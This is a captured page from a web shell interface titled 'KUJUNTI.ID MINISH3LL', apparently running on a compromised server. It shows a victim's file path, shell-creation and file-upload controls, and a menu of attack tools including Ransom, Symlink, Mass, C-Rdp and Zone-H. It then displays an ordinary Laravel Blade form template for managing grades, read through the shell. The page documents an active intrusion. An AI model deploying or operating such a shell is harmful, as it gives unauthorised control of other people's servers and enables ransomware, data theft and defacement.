KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/resources/views/back/grades/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/resources/views/back/grades/form.blade.php


@extends('back.layout')

@section('content')

<form method="post"
    action="{{ Route::currentRouteName() === 'grades.edit' ? route('grades.update', $grade->id) : route('grades.store') }}">

    @if(Route::currentRouteName() === 'grades.edit')
    @method('PUT')
    @endif

    @csrf

    <div class="row">
        <div class="col-md-12">

            <x-back.validation-errors :errors="$errors" />

            @if(session('ok'))
            <x-back.alert type='success' title="{!! session('ok') !!}">
            </x-back.alert>
            @endif

            <x-back.card type='info' :outline="true" title=''>
                <x-back.input title='Title of the grade' name='title' :value="isset($grade) ? $grade->title : ''"
                    input='text' :required="true">
                </x-back.input>
                <x-back.input title='Description' name='description' :value="isset($grade) ? $grade->description : ''"
                    input='textarea' rows="2" :required="false">
                </x-back.input>
                <x-back.input name='hight_grade' :value="isset($grade) ? $grade->hight_grade: ''" input='checkbox'
                    label="Hight grade">
                </x-back.input>
            </x-back.card>

            <button type="submit" class="btn btn-primary">@lang('Submit')</button>

        </div>
    </div>


</form>

@endsection

@section('js')

<script>
    (() =>{
        $('form').submit(function (event) {
            if ($(this).hasClass('submitted')) {
                event.preventDefault();
            }
            else {
                $(this).find(':submit').html('<i class="fa fa-spinner fa-spin"></i>');
                $(this).addClass('submitted');
                document.getElementById("submit").disabled = true;
            }
    });  
    })
    </script>

@endsection

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support